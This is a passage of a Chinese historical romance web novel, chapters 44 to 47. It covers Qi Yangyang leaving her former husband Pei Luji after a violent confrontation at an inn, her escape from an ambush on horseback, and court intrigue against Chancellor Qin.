她噼里啪啦说完一顿,直接把修竹说懵在原地,等修竹回过神来,她已经提裙准备走了,“再告诉你们世子,往后这天成阁我不会再来了,那个账本,随便他怎么处置吧,我会尽快离开彭州的,让他别再安排人盯着我了,我不给他添麻烦,也烦请他别给我添麻烦。” 说完她头也不回走了,修竹想拦都拦不住。 他本来还想着不知该如何跟世子禀报好,没想到戚央央走后,裴陆戟就从廊下走出,目光一直盯紧她离开的方向,双手逐渐掐握成拳。 “世世子”修竹低下头,担心道。 裴陆戟却渐渐露出笑意,哑声道:“这是在告诫我,不管我做什么,她也不会再回头么?她这是在拒绝我?” “真好笑,我就一定得对她怎么了,才会那么做吗?” 他越说,自己越不能确定,握拳的手抖个不停。 是啊如果不是对她有什么的话,何必以性命相护?难道就为了跟别的男子比较高下,看她能选谁吗?他也从来不是那么无聊之人啊 “世子”修竹忧虑道:“戚姑娘她连账本都不要了,她这回是真的不回来了吗?” 裴陆戟失笑道:“我如今算是彻底了解她了,回来是不会回来的,至于账本” 他哼了一声,眼睑垂下,失魂落魄道:“她也不笨,这是看穿了,料定我若真要毁去账本,根本留不到现在,能留到现在等她来,就说明了我根本就不会毁掉呢。” 戚央央着急和裴陆戟划清界线,不光是为了沐江恩,更是因为她通过这件事,隐隐明白了裴陆戟将她与姨母赶出来,可能是跟姓秦的人有关。 秦家在朝堂上当的最大的官,就是秦大姑娘的伯父,秦丞相了。 秦家和裴家,还有以前的崔家一样,是功勋满门影响朝政颇深的大世家,秦家会派人来杀她这么条小鱼虾,想必父兄那桩冤案也是秦家人所为,说不定当年父兄粮竭而亡,背后也跟这些世家有关。 既然是世家之间争权夺利牺牲的棋子,那就不是她这种弱质女子能插手参与的。 她不怕死但是她想死得更有价值一些,这样的话,她就必须远离裴陆戟这个疯子,她既然已经错认过一次,就不想再继续掺和进他的人生了。 那天从天成阁回来后,她就赶紧回客栈收拾行装打算尽快离开彭州。 谁知还没等她离开客栈,她就被裴陆戟堵截在客栈二楼的走廊上。 原本在二楼走廊的其他客人已经被他的人肃清了,楼梯口也被人拦着,不许人上去。 此时空荡的走廊上就只剩下他和她。 戚央央背驮着大包小包,看起来很沉,其中一个大包袱上,还露出一些豁了口的瓷碗和旧筷子,遇见裴陆戟的时候,满脸的惊骇,更多的是不解。 而已经有一段时间见不到的裴陆戟,看起来清瘦了不少,一身靛青色素袍,翩翩浊世佳公子,面容沉静,右手处缠了一整圈的纱带。 “就这么打算一个人走?”“你来做什么?” 二人同时开口。 默了默,裴陆戟先一步反应过来,上前拽住她手,不容她反抗,并将她拉入她的房间中。 他将房间门“砰”一声关上的那刻,戚央央美眸睁圆怒瞪他。 “派了那么多的人监视我一举一动,你有那么无聊吗?那看来我还出不去这彭州城了是吧?” “不是出不去,是你必须要跟我一起出去,你不想要命了是不是?” 他进一步欺压过来,将她围困在墙壁和自己的手臂间。 第44章 他眼睛红得厉害,有一种夹杂…… 戚央央背部驮着大包小包的包袱, 又被他困在墙角,纤瘦的后背被包袱里的东西硌得疼得慌。 他似乎也看出来了,二话不说像给小鸡崽拔毛似的, 三两下脱掉她背部的包袱,甩到一旁。 等他甩那装着她的江恩卿卿送她的瓷碗的那个包袱时, 她失声喊叫出来:“那个不要!!” 裴陆戟也立马停住, 低头看着半露出来的旧瓷碗筷, 失笑道:“这又是他用过的碗筷, 还是同他一起同台吃饭用过的碗筷?” “才不是呢!是我用的!” 裴陆戟很生气,想要胡乱甩到一旁, 想了想,还是轻轻地放下。 见自己的宝贝珍藏品保住了, 央央才终于松一口气,裴陆戟却又逼近过来。 “你不想和我有牵扯, 可是你怎么没想过, 已经太迟了?你我牵扯得已经太深了, 你这辈子都不可能摆脱我的!” 他将她按在墙上, 向来冷清自持的黑眸,此刻因为愤怒而染上红丝, 他身量高大,她在女子中不算矮了, 可在他身旁仍显娇小,他的压迫感十足。 “你我夫妻五载,那些合而为一的时候还少吗?你不要忘记, 我没强迫你,大多是你自己主动的!” “你现在说走就走,问过我没有?” “你以前追着我的时候, 怎么就没看清楚我天生凉薄是寡情之人?现在就知道说我不合适谈感情,跟我不合适谈感情的话,你当初又为什么要招惹我??” 他眼睛红得厉害,眉压得很深,有一种夹杂着戾气的委屈快将溢出来一样。 “戚央央,有些人学感情学得慢是因为他从小就没被人这么爱过,他惶恐,他笨拙,他不知所措,真的不是” 他的声音越发沉哑,“真的不是故意不回应,任由外面的人对你冷语伤害的。” “你又怎么知道,当府里和外头盛传我要娶公主,要降妻为妾时,我没有去用力压制?你不知道那些传言出来没几天,府里府外就突然都没人敢传了吗?” “我这些年对你姨母说过的话,大部分都是气话,我从小就被生母安排好每一步该怎么做,就连我没死在羌北活死人窟,没给崔家一个立下大功的机会,都要被谴责、被批判,我受够了被人安排的人生所以连带着,也厌恶你姨母安排我的人生。” “我们裴家是功勋世家,我当年也是被陛下亲自提拔上来安排在太子身边的,又怎么可能不知道陛下的真正想法,怎么可能真的怪责你姨母将你安排给我?” “你的身份是最合适我的,我当年就是因为知道,才没有拒绝,不然你以为你姨母用那些陈年烂谷子的事情,真能拿捏住我吗?我若不想娶,谁也强迫不了我,不然你看我和你都和离那么长时间了,秦兰沁她嫁给我了吗?公主嫁给我了吗?” “我清楚那段时间你心里的难受,我也知道我这个性子不改,带给你的伤害更多,我有尝试过很多次,我尽力多找些话题跟你聊,让你觉得我不是对你不耐烦,不是不想听你说话,可你每次总觉得,我故意说起这些你听不懂的东西,是在嫌弃你什么都不懂。” “你每次主动靠近,我也不是因为厌恶才躲避,我是真的害怕,怕你一旦真的靠近我了,了解清楚我其实是个无趣、乏味,且十分容易被你挑动情绪的家伙,你就会感觉到厌倦,想要离开” “因为你对我的感情,太不纯粹了!这是从你一开始接近我,讨好我的时候,我就发现了。” “所以,当我知道你不想要我们的孩子,一直在服避子汤时,才会反应那么激烈。” “想要努力修正你的行为,让你变得不那么以讨好为主地对待我,故而时常会拒绝让你来接送,拒绝你表达爱意的方法,跟你闹脾气。” 他自己也没想到,他会一下子失控,将所有心里话通通都说出来,似乎只是害怕只是卑微地想试图挽留。 戚央央听着他说这些话时,眼底一丝波澜也没有,只是安静在听,像个局外的倾听者。 这一刻他就明白自己再也回不去了,但还是不甘心地再争取了一下,“要是你一早知道这些,然后再发现我不是你要找的人,你会离开吗?” 戚央央被他的模样吓住,只好认真地想了一下,不等她开口,他就抢先一步替她回道:“你还是会走的,是吗?” 她愕了愕,也不想骗他,只好点点头,“这世上有许多比我好的姑娘” 裴陆戟眼眸低垂,不为意间,瞥见了摆放在角落的渣斗里盛着满满一斗被煮熟的花瓣,那些正是他连夜让人从距彭州几十里外的地方运送过来的价值不菲的姚黄牡丹。 这些是极为难栽种的名品牡丹,在去年夏天的时候,他听见有人在背后说戚央央是难登大雅之堂的路边野花,于是,他给她在距离她家乡没多远的地方,以她的名字购置了一座院子,在里头栽满各种名花,其中最为珍贵的姚黄牡丹,是他亲自培育,用来给金丝皇菊作陪衬的。 他打算等过些日子,他不那么忙了之后,再告诉她这座院子的存在,带她来这里住几次,赏赏百花争芳,让她高兴高兴,家菊,长在一众名贵花卉之中,也毫不逊色。 刚刚还好端端在说着话的他,突然变得气压低了下来,央央也不敢再作声。 “这些花瓣”他低沉,然后突然唤起了他暗卫的名字。 “残影。” 残影进来,屋里只有两人,他看见渣斗里的东西,大感不妙,跪下道:“是属下的错,禀报时没有说清楚,戚姑娘每天给沐将军泡脚用的,正是世子送的花。” 戚央央也哑然,“那花不是别人送给修竹的吗?” 裴陆戟气到极致笑了出来,伸手抓住她手,“你用姚黄牡丹的花瓣给别人泡脚,你知道这花多难培育吗?” 其实难不难培育都是其次,反正都是给菊花当陪衬,主要是她竟然拿他送的花给别人泡脚,这就 残影见状不宜久留,正欲离开之际,门便被沐江恩破开了。 “小央卿卿!” 沐江恩当场与残影对打起来,戚央央紧张地侧过身子喊沐江恩,企图挣脱裴陆戟的束缚。 裴陆戟心中酸得厉害,但还是咬牙喊停了残影,“住手!退下!” 残影已经快要将沐江恩压制了,被主子这么一唤,岔神了被他反攻了一下,被踢中脸颊,打掉了一颗大牙,舌尖抵住腮帮和血吐了出来。 残影脸上杀气未消,但被主子唤停,只好极其不甘心地退下。 然后,沐江恩就朝裴陆戟冲来。 裴陆戟单手牢牢抓住央央的手,眼看着他朝自己冲来,仍然岿然不动,直到他的刀快砍到自己,才突然用左手反劈了一下,带着央央旋身躲开。 “锵”地一声,刀被劈掉落,连带着被裴陆戟用脚踢远。 沐江恩刚刚带着手下从楼下冲上来的时候,花耗了不少气力,现下看起来气喘吁吁的。 裴陆戟经这么一劈一旋身,身上衣带未动连头发丝都丝毫未乱,仍旧一副朗月入怀、清风徐徐的模样。 沐江恩是第一次见裴陆戟,先前只是从别人口中偶尔听得只言片语,如此亲眼目见还是第一次。 公子如玉,风度翩翩,举世无双,这些词在他脑海里第一次有了具象。 同时也有一种似曾相识的熟悉感。 “我虽是读书人,但也曾跟太子殿下去打过仗,剿过匪,沐将军别以为我好对付才是。” 他冷道。 可戚央央却立即跳脚起来帮说话道:“你作弊不算!我家卿卿他只是因为对付完你派在楼下的那些守卫,才失手而已!” “戚央央你!”裴陆戟气极。 沐江恩便趁机挑起地上一个花瓶,朝裴陆戟身上砸去。 裴陆戟立马反应,护着戚央央扑到了墙角边。 他从架子床上卸下一根木杆,拉着央央向沐江恩发起了进攻。 那一根明明是笨重且圆钝的木杆,却被他耍成了绝世武器,木杆子一道道像无影似的朝沐江恩袭来,又快又急又狠戾,下下朝要害精准无比袭来,没多久沐江恩就有些吃不消,呈节节败退之势。 戚央央看得很是着急,她又被裴陆戟用右手拽住手动不得,只能不停地给沐江恩呐喊助威:“卿卿!你是最棒的!打他呀,别怕他” 裴陆戟眼里闪过一丝极浓的杀意,随后对沐江恩的进击更加狠辣猛烈。 眼见沐江恩被他的狠辣招式击中,后背撞击在墙壁发出巨响,跌倒下来,戚央央当场竟哭了出来,并像抓狂的猫儿似的,揪住裴陆戟的手臂,不管不顾地撕咬踹打起来:“不许打我卿卿!啊啊啊!我杀了你!” 裴陆戟右手的伤没有好全,被她的小猫牙伶牙俐齿那么一咬,顿时咬得渗出了血。 他又急又气,阴着脸没好气地对她笑:“戚央央!你疯了!” 趁着这个空档,沐江恩挺身而起,抬腿踢中他右臂。 因为牵扯到他右手的手筋,裴陆戟疼得脸色发紫,冷汗直飚,身体趔趄着后退,可手依然紧紧地抓住央央的手不放。 沐江恩乘胜击中他腹部,他呕出一口血,左膝重重地跪下,唇间溢出鲜血,抬眸望着戚央央,牢牢抓着她的手,依旧没有半分松动。 “你放开她!她不想跟你走!”沐江恩怒道。 裴陆戟嘴角再次溢出血,黑眸仰视着央央,抿唇笑了起来,“不” “不行!” 第45章 他的心脏便像被凿得坑坑洼洼…… 他像一头异常执拗横蛮的兽, 手死死拉住她手,不肯松开。 央央有些怕他了,止不住恐惧起来, 开始朝沐江恩呼救:“救救我” 沐江恩默了默,捡起刀剑入鞘, 反手用剑柄朝他右手砸去。 鲜血淋漓, 缠绑的白纱带渗得红透了, 还滴滴答答往下滴着血, 仿佛一整只手的血都快流干。 可他依然,固执地不肯松开, 单膝跪在那里,黑眸沉沉的, 眼尾越发猩红地盯着她,大口大口喘着气。 “你”戚央央又被他震惊到, 同时心中也越发被他吓怕, “你放开你先放开我好不好” 她的声音连颤带泣地哀求, 深深地刺痛了他的心。 可是, 这回他决不能让她走,她一旦走了, 就再也不回来了。 “你饶了我吧,裴陆戟, 让我走以后生死各不相干,一别两宽对谁都好” “你也别再派人跟着我了好吗?” 她哭得抽抽泣泣的,他的心脏便像被凿得坑坑洼洼的, 湿漉,疼痛 沐江恩见状,连刀柄也不敢用了, 只是走过来,掰着他的手相劝道:“世子她不想再跟你有牵扯,你这是何必?” “放手吧”他趁着血水湿滑,趁机掰开他手指。 可裴陆戟则非常倔强,刚被掰开一指,立马又抓上去,甚至用另外一手去抓,直到戚央央忍不住红着眼喊疼,他才突然愕了一愕,一下子全松开。 沐江恩立马将戚央央抱过来,拉到自己身后,与他对峙。 “世子大义,沐某先谢过了,小央是我爹故友之女,也就是我的妹子,我日后自会好好护着她,不让她再受任何伤害,不必再劳烦世子了。” “也烦请世子,将你那些暗卫撤了,相信以世子当下处境,定当是不愿被姓秦的那边知道你的行踪吧?” “以前你怎么对小央的,念在你救她一次的份上,我可以既往不咎,但是以后,你不要再出现在她面前了,她也不愿意,再见到你。” 裴陆戟身上挂满血迹,把那件簇新的靛青圆领袍都弄脏了,嘴角又溢出血,他没舍得用袖角去擦拭,只肯用手指不停地拭擦,以致腮边越擦越多血污。 他干脆屈起一腿摊坐在地,手肘支着膝盖,低低地笑了起来。 看着他这个模样,戚央央没忍住,压下心中恐惧,从沐江恩身后走出来,小声问他:“世子世子你没事吧?要不要我去请大夫?” “走吧。”他笑完,眼睫微垂,低声道。 然后,又似怕她听不见似的,突然高声道:“滚!你快滚!跟你的卿卿滚得越远越好,我以后再也不会派暗卫守护你,也不会跟着你,烦着你了!快给我滚!” 带着杀戮之气,吓得戚央央拉起沐江恩慌不择路地离开厢房,可走到门口又想起包袱没拿,轻手蹑脚地进来拿完,又忍不住看了一眼地上沦为丧家之犬似的男子,碰上他抬起狠戾的目光,又吓得落荒而逃。 厢房门“砰”一声,唯恐里头会有洪水猛兽追出来般,被人关上,横梁上的尘灰都被震得落下来,屋里死寂,狼藉一片,而他活生生一个人,坐在一片被废弃的物品中,竟毫不违和。 哈,多么好笑,她连客栈给她赠送的三十文不到就能买到的茶叶,也返回来拿走,却单单将他抛弃在这里。 以前抱着他在床`笫间耳`鬓`厮`磨的时候,明明会抱着他腰,把娇艳的一张小脸凑过来,猫儿一样蹭他下巴,羞答答、眼睛湿`漉`漉地望着他说,以后要把自己拴在他裤腰带上,让他到哪里都得带着她,可是现在,她自己走了,却不把他拴上带走 “残影,”他有些落魄有些狼狈地命令屋外的人道,“让云影把人撤走吧” 她既然如此厌恶他的相护,就连他舍命救她,她也不屑一顾,那他就识相些吧 · 彭州的事情处得差不多,沐江恩是时候回封州向荆王复命了,加之戚央央也恰好想离开,他便护送她一起离开。 “小央卿卿,小央卿卿!你怎么了?”沐江恩见戚央央神思恍惚,连前面的路也不看,雨后有个泥坑竟直接踩过去。 差点被踩得满脚泥的时候,沐江恩及时拉住她的手,挡住了她的前路。 戚央央回过神来,道:“啊?怎么了吗?” “前面有个泥坑,走过去你身上裙子就脏了。”沐江恩低头一看,发现她樱草黄的裙摆上已经沾染了一些方才裴世子的血了。 他思忖片刻,低柔道:“你是不是放心不下他?” “放心不下谁?”戚央央纳闷。 “裴世子啊,”他大大方方承认道,“这是我第一次见到裴世子,从前我都只在别人口中听说过,今日一见,才知道别人怎么总说京城第一公子郎艳独绝,世无其二,你当初喜欢上他,也是相当有眼光的。” “可我见你以前并不开心,可能是因为你俩性格上并不合适吧。” 央央眼见他越发朝错误的方向想她,慌忙打断道:“我没在想他!我是在是在” 她要怎么跟他说,她不想回封州了,她想去安东县,她爹爹祖籍的所在地。 以前父兄在前线牺牲的那会,她还小,紧接着娘就因为思念爹爹一病不起,她连帮父兄立个衣冠冢的能力都没有。 那时候甄家外祖的财产也在她手上,她一个孤女,被一些旁支的亲戚觊觎着,只能匆忙打点好一切,到京城投靠姨母。 如今,她也长大了,难得离开了英国公府,也是时候回到祖籍,给爹爹和兄长们立碑了。 “我想去安东县,沐大哥,你能不能帮我跟王爷说一下,顺便也跟我姨母说说,叫她好好吃饭,天冷加衣,天热喝水,好好照顾自己。” 她终于把憋了好久的话说了出来。 沐江恩看着她片晌,屈下膝来帮她擦拭裙子上的血迹,边擦边跟她聊道:“不回封州了,你打算以后都一个人留在安东县吗?” “不是以后都不回,只是现在有事想去安东县完成,我也舍不得姨母,等我那边的事情完成,我就会回封城见你们的。” “你等我把事情交接一下,跟王爷请命” “沐大哥,不用了,我想尝试一个人。” 戚央央道,“以前小的时候,身边有父兄护着,吃喝不愁,哥哥们总说我傻得冒泡,什么也不会想,后来到了京城,我以为世子是你,报错了恩,嫁错了人,眼睛只围着一个人打转,我也知道这并不好,也遭不少人轻看。” “我想改变一下,自己学着做一些事,我想让沐大哥对我另眼相看。” 她道。 “虽说如此,但你一个女儿家,独自去安东县还是不妥,不若我先送你去,再回封州复命。” “好,谢谢你。”戚央央展颜笑。 本来沐江恩打算护送她一路往西,绕过瀛泰峰,抵达安东县后,再抄小路回封城,可后来他临时接到急报,王爷紧急召回,央央便说还是想亲自回封州跟姨母说一声,于是,二人便朝东走,朝瀛泰峰的方向去。 裴陆戟虽然撤走了本来守在戚央央附近的暗卫,但秦相那边的动静还是清楚的。 “回禀主子,戚姑娘和沐将军本来已经往西走了,后来突然收到一封信,又开始朝东走。” 残影在向裴陆戟汇报道。 裴陆戟右手的手筋又伤到了,需要大夫切开皮肉,将筋肉接起来,他在汇报的时候,正好大夫把筋肉接好,他趴在榻上,汗水大片大片浸湿了新换的里衣。 “什么信?”他声音带点疲惫道。 “荆王的信,不过不是发给沐将军的,是给前线守将的,被秦相的手下半路截停,交换了信。” “想办法提醒一下荆王,沐江恩那边”他沉默了一下,“秦相手下应该还不知道李主簿被抓之事,沐江恩调动人手的事,他应该是不知晓的,他们人多沐将军也有能耐,不必管他们了。”省得碍了她眼。 “是。” · 沐江恩也没有料到,昔日共过生死的兄弟,最后还是把他给坑了。 李明砚是救下他,把他带到荆王面前的人,他出卖了荆王,出卖了他,他也没想过杀他,只是打一顿给出警告,让他赶紧逃走。 却没想到,他竟然主动去投靠了秦氏。 “孟明,对不起,我家中尚有需要我赡养的老母,我孩儿体弱,我若就这么逃了,弃家中人不顾,就真成了不孝不义了。” “你的命是我救的,如此就算我们两清,恩义两绝吧!” 李明砚率杀手围困了他们,他在荆王部中待的时间长,又如何不知悉荆王同各部下死士联络的方式? 这一次带杀手围困他们,领了他们人数的两倍,是铁了心要将他们全部歼灭在这里。 “那个戚氏,留了是个祸患,你若肯将她交出,我念在兄弟一场,饶你一命。”李明砚道。 沐江恩啐了他一口血沫,擦掉脸上的血,扶着剑柄摇摇晃晃地站起,将戚央央紧紧护在身后,道:“我不是你,不做畜生做的事!” 他说着,将央央推到后方,率领剩余的弟兄,山呼一声往前冲了过去。 可惜力量实在悬殊,他们即将被李明砚的人擒住之际,突然从天而降一批身着黑衣,看起来训练有素,个个身手不凡的侠士,加入了他们。 戚央央正抓着一柄碎开的瓷片,压住李明砚的人,揪住头发往人眼睛里刺,她不会武功,又是弱质女流,能用的手段就是扒拉上去狗皮膏药一样,逮住谁就泼妇打架似的扯头发、戳鼻子、刺眼睛。 身后带着剑的杀手突然从她后方跃身劈来,被一个黑衣人利索地一刀砍掉了手,以致央央她回过头去张望究竟的时候,只看见一条血臂在眼前飞过。 她吓得“啊”一声,差点昏死过去。 第46章 他望着她离开的方向失神 山道口边的黑衣人个个皆是孤傲不羁、目光如炬, 浑身散发着生人勿近的冷冽气息。 有了他们的加入,便是比之超两倍之多的人马,也很快败退下来。 那些黑衣人个个下手狠辣, 招式之间,又似在暗暗隐藏自己的真实实力。 李明砚率的人没多久就死的死、伤的伤, 那些黑衣人没来之前本应很快抓获围困他们的, 现在却呈拉锯之战。 站土丘之上观战的秦道忠是秦丞相府中的管事, 本来此行用不着他出面的, 但先前那次在彭州城外刺杀戚氏的行动竟然失败,而且被派去的三十八名杀手, 竟只回来了一名。 那名杀手是受过极刑逃跑出来的,模模糊糊中描述出了一种徽记, 秦相一查,恰好同六皇子暗中培养的红英阁徽记极其相像, 但秦相这人生性多疑, 光凭这逃回来的杀手一面之词, 还是保持了怀疑态度。 于是, 这次才会多留了一个心眼,让自己的管事秦道忠班人过来, 留了后手。 此际,正是派上用场的时候。 “血冥, 上吧。”秦道忠站在背风处,负手而立,微微侧身给身后的苍龙杀手让出通道。 残影没想到, 秦相这次竟连苍龙杀手也带来了。 就对付戚氏一个手无缚鸡之力的女子,外加一队只有几十人的死士,他竟然出动到数百人, 还用上自己苍龙阁最好的死士。 如果招式全开,尽全力一拼,他们影澜殿的人马未必不如苍龙阁杀手,但是这么一来,就极其容易被秦相识穿他们的身份。 虽然主子不曾在秦相面前暴露过影澜殿的存在,但凭秦相的手段,未必查不出来世子和影澜殿的关联。 一面要迎战,一面又要隐藏身份,没多久,两队顶尖杀手,慢慢就分出了高下。 沐江恩的人马已经完全敌不动了,残影眼看着自己的部下节节败退,也只能咬牙忍耐着,绝不能露出一招半式影澜殿的武功招式,不然,主子先前的一切付出将会前功尽弃。 但是,为首那个动作如鹰一般的死士,突然就抓住了逃跑了戚氏,情急之下,残影执剑呈破风之势,以极快的速度,朝那死士身上斩去。 那死士也趁机用剑气破开了他的面巾,黑衣顷刻如帛裂般,残影那张带着杀气的冷面露了出来。 戚央央看着一愣。 “快跑!”残影用手指吹响口哨,不远处跑来了一匹膘肥体壮的枣红汗血马。 戚央央看着听懂指令,来到她身边的大马,一时之间有些无措,却下意识从脑海中闪现出那天裴陆戟教她骑马的指令。 可是混乱的场面,又不禁让她回想起在淮东摔马的那一次,那次她脊背直接被地上的尖锐石头撞到,整个人摔进淤泥里,那种溺水一般绝望的感觉,她此生都不想再来一遍。 可此时,不远处正跟敌人缠斗着的沐江恩朝她叫了起来: “小央卿卿!跑!快跑!只有你逃掉了,我们才有可能全身而退!” 戚央央擦干因恐惧而流出的泪水,咬了咬牙,闭起眼睛回想裴陆戟教自己的骑马步骤。 “先先检查马的装备装备是否是否齐全”她口中有词,念念道:“然后然后站于马的右啊,不是,左站于左侧,左手握缰左左脚踩马镫” “跨腿上马。” 戚央央成功坐上马背,稳稳当当地将右脚钻进马镫,握紧马缰,然后,按照裴陆戟说的那样,打马,逐渐加速 奔驰期间,无数流箭从耳旁嗖嗖地擦过,她忆起裴陆戟教过的,俯身紧贴马背,抱紧马头,安全躲避流箭。 残影和沐江恩也会帮忙抵挡掉一些精准的箭,从中阻拦,助她顺利出逃。 没多久,她终于抱着马头,成功离开了那片荒山,前方,就有一队伍同残影穿一模一样的黑衣制服,守在路上接应。 她本想调转马头避开,但恰在此时,修竹走了出来。 “戚姑娘,请随小的来。” 戚央央对修竹有天然的信任感,她勒紧马缰,马终于停了下来。 她第一次独自骑马成功躲避了危险! 眼眶有些湿润,同时想起沐江恩他们,也有些放心不下,问修竹道:“那些同我一起来的人,怎么办?” 修竹上前替她牵马,道:“戚姑娘放心,会有人接应他们,不会有事的。” 修竹把人领走后,裴陆戟才从弯道拐角的山岩处走出来。 方才他一直站这里,听动静见给她准备的马正往这方向来,才悄然躲起,这下见她平安出逃,那颗提着的心总算放下了。 他望着她离开的方向,失神道:“之前你不是怪我没好好教骑马,害你摔马吗?如今可以少怪我一些吗” 说完,他就默默转身,离开。 残影的身份已然被识破,他知道,接下来将会有一场恶战。 可能会有无数的流血和伤害,他只能尽力做到多规避,把流血的矛头引到自己身上来罢了。 残影把沐江恩等人护送到安全的山谷里之后,自己便冲出去把苍龙杀手引到悬崖边,与之以命相搏。 最后,苍龙杀手不敌,全员落崖,而残影他们也好不了多少,重伤受挫,见人终于摆脱掉,便立马撤退。 趁着残影他们撤退之际,一名手绕红丝的苍龙杀手突然从崖下爬了上来,悄悄尾随在残影身后。 残影撤散部下后,就沿着西边的山路,一路前往离这里不远的云霞谷。 六皇子奉命到青海关督军,青海关距离云霞谷,也就一昼夜能骑马抵达的距离。 残影一路上极其小心地遮掩身份,扮作老媪、樵夫、伶人,最后才成功进入云霞谷,面见到六殿下。 血冥亲眼目睹了六殿下的人出来,放残影进去,方才离去复命。 残影在六皇子那里磨蹭了好久才离开,入夜终于抵达裴陆戟所在之处,向他复命。 “六殿下可有什么吩咐?”裴陆戟问。 “回禀主子,六皇子殿下就是想主子帮他借一支兵突围,摆脱那些朝中人的诟病。” 裴陆戟听了残影的话,嗤一声笑了,“什么借兵,不就想我给他出谋划策,打赢这一仗好堵了那些老匹夫的口么?” 打自十二年前裴陆戟带上羌北首领的首级投了六皇子营,将救出战俘一功名让给了他之后,他就许久都没有再立过别的功劳,朝中诸臣开始对陛下给他委以重任颇有微词。 他顶着这个压力,曾多次悄悄求助裴陆戟,但裴陆戟都没有正面给过表示。 这次是为了迷惑秦相的人,看来只好助他一次了。 “苍龙杀手那边,你确定他跟着你,亲眼看你进去了吗?”裴陆戟问。 “回主子,确定。” “好,从现在开始,秦相虽会暂时打消疑虑,但经此一事,想必他也不会像最初那样信任我了,此后我们将会变得困难重重,有可能许多跟随我们的人,都会因此受到影响,我们能做的,只有尽力去挽救。” “是。”残影坚定道。 残影也知道,若是阻止世子这次前来救人,那就等于违背了世子的初衷,虽然这次的暴露有可能让更多的人受牵连,秦相必定会加强防备,但是倘若因为怕暴露就放弃营救,那世子当初也不必走这条路,做这个选择了。 世子既然选择了此道,他也会坚定不移地,继续追随下去。 · 戚央央被修竹带走后,就一行人马朝着东北方向,绕过均南县、彭真县,再往回西南的方向去安东县。 沐江恩在均南县同戚央央相汇,一起送她至安东县再回封州。 在路上,央央终于忍不住问及裴陆戟:“世子的伤还好吧?那天我不是故意的,他突然拉着我手不放,我只是有些害怕。” 修竹也不敢跟她说实话,世子在他面前的时候,口中总说着不在乎她、不会再管她的话,可行动上却完全相反,那天戚央央过来委婉拒绝,被世子听到以后,他原以为以世子的自尊心,应是不会再纠缠下去了,谁知转头他就率领了人去客栈堵人,最后还把刚有一些好转的手伤弄得更严重,最后只能刮开皮肉把手筋缝接起来。 还有这次也是,明明戚姑娘都不想再欠他,对他说了狠话,让他以后不要再派人跟着她了,可是她一有难,他还是把身边最好的暗卫都派出去,听消息好像残影那边身份被识穿了,世子现在应该已经自顾不暇,没有时间来看戚姑娘了。 “放心吧,戚姑娘,世子他没有怪你,他只怪自己那天太冲动,唐突了你。” 修竹笑着跟戚央央道。 戚央央一听,拍拍胸口松一口气,“我也觉得我那天有点太过分,说话太伤人了,世子他没怪我就好,我只是不想再谈以前的事了,也希望他忘记过去,好好往前罢了。” 修竹一脸难过,唉,让世子忘记那些和戚姑娘一起的过去么?戚姑娘也想得太容易了 裴陆戟自打在瀛泰峰狙杀苍龙阁杀手一事后,就连夜不停快马加鞭赶回到京城,而一路上,分派至各州郡代替他处军事的影澜殿暗卫也陆陆续续赶至,将这段时日来所发生的情况事无巨细汇报。 等抵达皇城,秦相搜集六皇子与外敌私相授受,以致燕城久攻不下的证据,已经抵达金銮殿下了。 而与此同时的,被他列出的一大批这段时日来排查过所有与裴陆戟有关联的官员,也被抄写在名单下,作为与六皇子同流合污的罪臣,一同递呈给天子。 第47章 他被怀疑了 裴陆戟与秦丞相在金銮殿石阶下铜兽处相遇, 裴陆戟先行礼,秦丞相还礼。 “秦丞相。” “裴大人回京述职吗?” “是,这一途下州郡巡视, 要上报的事情实在太多,便赶紧回来与陛下商议, 好做出日后粮草规范的制定。” “丞相大人怎么也这么早进宫, 若我没记错, 月末这几天是丞相的番假了, 不是该在府上好生歇息,别为家国的事操劳过度, 让陛下挂心吗?” 秦相手持笏板笑了笑,“裴大人不也为家国之事, 忙得连自身婚事都耽误,一上任就忙不迭往各州郡跑吗?” 二人从金銮殿下就一直打着哈哈周旋着, 直至来到殿上。 皇帝先召见的秦丞相, 丞相将六皇子罪证, 以及一列长长的官员名单递交上去。 站在后方的裴陆戟低头聆听, 表情淡淡的,直到小太监把名单上“张白石”和“谢绍杰”的名字念出, 他依然一副无动于衷的表情。 皇帝看完了证据,听完念的名单, 便将裴陆戟唤过来:“裴爱卿,你曾在大寺待过,对于此事, 你怎么看?事关严重,也涉及皇家颜面,和家国安危, 可要再启动三司再审?” “六殿下青海关有一万精兵,而茴人守燕城只有不到五千兵,可六殿下仍久攻不下,想必是果真如秦丞相所报的那样,与外敌私相授受,从中牟利了。” 裴陆戟道。 而恰在此时,有城门驿兵前来发捷报,六皇子大捷,燕城攻下来了! “燕城三面环山,守城卒多是城中本土士兵,易守难攻,六皇子军最后想出奇计,先绕道去攻下后方淮城,断截燕城供给,围困燕城,断水断粮,再对燕城守城士卒晓之以情,保证进城绝不欺辱百姓,进城士兵统统不许带武器进城,六殿下不费一兵一卒之下,成功将燕城夺回来!” 驿兵向皇帝汇报详尽情况道。 皇帝听完,抚掌大笑,“好!好!不愧是吾儿!不愧是吾儿啊” 随后,他睨向秦相,“六皇子大捷,不但成功夺回燕城,还顺带多牵了一座淮城,如此,丞相还有什么可说的?” 秦丞相脸色难看。 再看向裴陆戟方向,他也仿佛极其为难,支吾道:“六殿下既已立下如此大功,那秦丞相所上报之事,恐怕证据就不大足了。” 皇帝满意地看了裴陆戟一眼。 “但是,今日微臣上殿觐见,除了要述职外,还搜到了一些,也是关于六皇子在青海关一带胡乱收税,还欲将此罪行捏造成各个不实证据,意图安插至各职务臣子头上。” “这些都是证据,和有六皇子私印的账目,请陛下明鉴。” 详细的证据呈上,皇帝也不得再包庇,但六皇子毕竟是立了大功,功过相抵,最后被削职召回京城,禁足数月罚俸一年,以儆效尤。 通过这一桩,秦丞相感念了裴陆戟在皇帝面前捞了他一把,但是,他也趁机将他手里名单中那些臣子的罪,全都推在六皇子身上,推得一干二净,他不是没有怀疑。 于是,他对裴陆戟这把趁手好用的刀,是既珍惜,又忌讳。 前思后想之下,决定不让他再碰兵部的事情,进而暂时将他遣往地方去任督师。 出发前往那天,秦丞相亲自带着从陛下处求来的钦天剑,交到裴陆戟手上。 “裴大人,让你一个世家之子到那种边陲偏远的地方去任督师,是委屈了你,但是没办法,现在军中各职务都紧缺,前线的情况比较紧急,我手上也没什么人可用了,只能把你派去。” “至于京中的要务,我会让兵部侍郎暂时替你处着,我也会帮忙处一下,你就放心前往吧。” 裴陆戟依旧一副从容自若之色,笑道:“那就有劳丞相大人多协助了,边陲之地虽苦,但下官知道,边陲那边的百姓更苦,下官不会有抱怨的。” “那就好。”秦相笑道。 